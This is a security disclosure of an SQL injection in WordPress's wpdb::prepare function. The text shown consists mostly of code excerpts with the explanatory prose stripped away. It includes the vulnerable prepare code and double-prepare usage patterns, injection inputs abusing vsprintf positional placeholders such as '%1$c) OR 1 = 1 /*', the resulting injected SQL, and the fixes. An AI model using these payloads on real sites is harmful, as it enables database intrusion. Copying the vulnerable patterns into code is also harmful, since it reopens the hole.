Disclosure: WordPress WPDB SQL Injection - Technical
Disclosure: WordPress WPDB SQL Injection - Technical
What Site Owners Should Do
What Hosts Should Do
What Plugin Developers Should Do
$where = $wpdb->prepare(" WHERE foo = %s", $_GET['data']);
$query = $wpdb->prepare("SELECT * FROM something $where LIMIT %d, %d", 1, 2);
$where = "WHERE foo = '" . esc_sql($_GET['data']) . "'";
$query = $wpdb->prepare("SELECT * FROM something $where LIMIT %d, %d", 1, 2);
$where = "WHERE foo = %s";
$args = [$_GET['data']];
$args[] = 1;
$args[] = 2;
$query = $wpdb->prepare("SELECT * FROM something $where LIMIT %d, %d", $args);
The Original Vulnerability
public function prepare( $query, $args ) {
if ( is_null( $query ) )
return;
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
}
$args = func_get_args();
array_shift( $args );
// If args were passed as an array (as in vsprintf), move them up
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
array_walk( $args, array( $this, 'escape_by_ref' ) );
return @vsprintf( $query, $args );
}
$items = implode(", ", array_map([$wpdb, '_real_escape'], $_GET['items']));
$sql = "SELECT * FROM foo WHERE bar IN ($items) AND baz = %s";
$query = $wpdb->prepare($sql, $_GET['baz']);
vsprintf('%s, %d, %s', ["a", 1, "b"]); // "a, 1, b"
vsprintf('%s, %d, %1$s', ["a", 2, "b"]); // "a, 2, a"
$_GET['items'] = ['%1$s'];
$_GET['baz'] = "test";
$_GET['items'] = ['%1$c) OR 1 = 1 /*'];
$_GET['baz'] = 39;
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*' AND baz = 'test';
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
The Original Fix
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query );
The First Issue With The Fix.
$db->prepare("SELECT * FROM foo WHERE name= '%4s' AND user_id = %d", $_GET['name'], get_current_user_id());
The full breach
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
$meta_value = ' %s ';
$meta_key = ['dump', ' OR 1=1 /*'];
SELECT type FROM table WHERE meta_key = 'dump' AND meta_value = '' OR 1=1 /*'
AND meta_value = ' %s '
The Simple Fix
The Mitigation Fix
$query = str_replace('%', "{$this->placeholder_escape}", $query );
Comments
Post a Comment